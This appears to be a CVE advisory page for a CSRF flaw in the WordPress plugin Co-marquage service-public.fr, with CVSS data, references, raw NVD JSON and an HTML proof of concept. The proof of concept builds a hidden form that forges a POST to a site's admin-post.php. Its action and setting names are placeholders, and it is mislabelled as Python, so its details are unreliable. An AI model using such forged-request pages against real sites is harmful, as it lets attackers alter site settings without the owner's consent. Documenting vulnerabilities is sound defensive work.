CVE-2025-62113

Description

Cross-Site Request Forgery (CSRF) vulnerability in emendo_seb Co-marquage service-public.fr co-marquage-service-public allows Cross Site Request Forgery.This issue affects Co-marquage service-public.fr: from n/a through <= 0.5.77.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Co-marquage-service-public <= 0.5.77

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62113 -->
<!-- This PoC demonstrates a CSRF attack against WordPress Co-marquage-service-public plugin -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-62113</title>
</head>
<body>
    <h1>CSRF PoC for Co-marquage-service-public Plugin</h1>
    <p>Click the button below to trigger the CSRF attack:</p>
    
    <!-- Auto-submit form targeting the vulnerable plugin endpoint -->
    <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Replace action parameter with actual vulnerable action -->
        <input type="hidden" name="action" value="co_marquage_action">
        <input type="hidden" name="co_marquage_setting" value="malicious_value">
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <button onclick="document.getElementById('csrfForm').submit();">Execute CSRF Attack</button>
    
    <script>
        // Auto-submit after page load
        window.onload = function() {
            // Uncomment below line to auto-submit
            // document.getElementById('csrfForm').submit();
        };
    </script>
</body>
</html>

<!-- Mitigation: Add CSRF tokens to all state-changing operations -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62113
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62113
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62113/
[4] VulDB https://vuldb.com/cve/CVE-2025-62113
[5] https://patchstack.com/database/Wordpress/Plugin/co-marquage-service-public/vulnerability/wordpress-co-marquage-service-public-fr-plugin-0-5-77-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62113", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:46.123", "lastModified": "2026-04-23T15:34:33.967", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in emendo_seb Co-marquage service-public.fr co-marquage-service-public allows Cross Site Request Forgery.This issue affects Co-marquage service-public.fr: from n/a through <= 0.5.77."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en emendo_seb Co-marquage service-public.Fr permite la falsificación de petición en sitios cruzados. Este problema afecta a Co-marquage service-public.Fr: desde n/a hasta 0.5.77."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/co-marquage-service-public/vulnerability/wordpress-co-marquage-service-public-fr-plugin-0-5-77-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}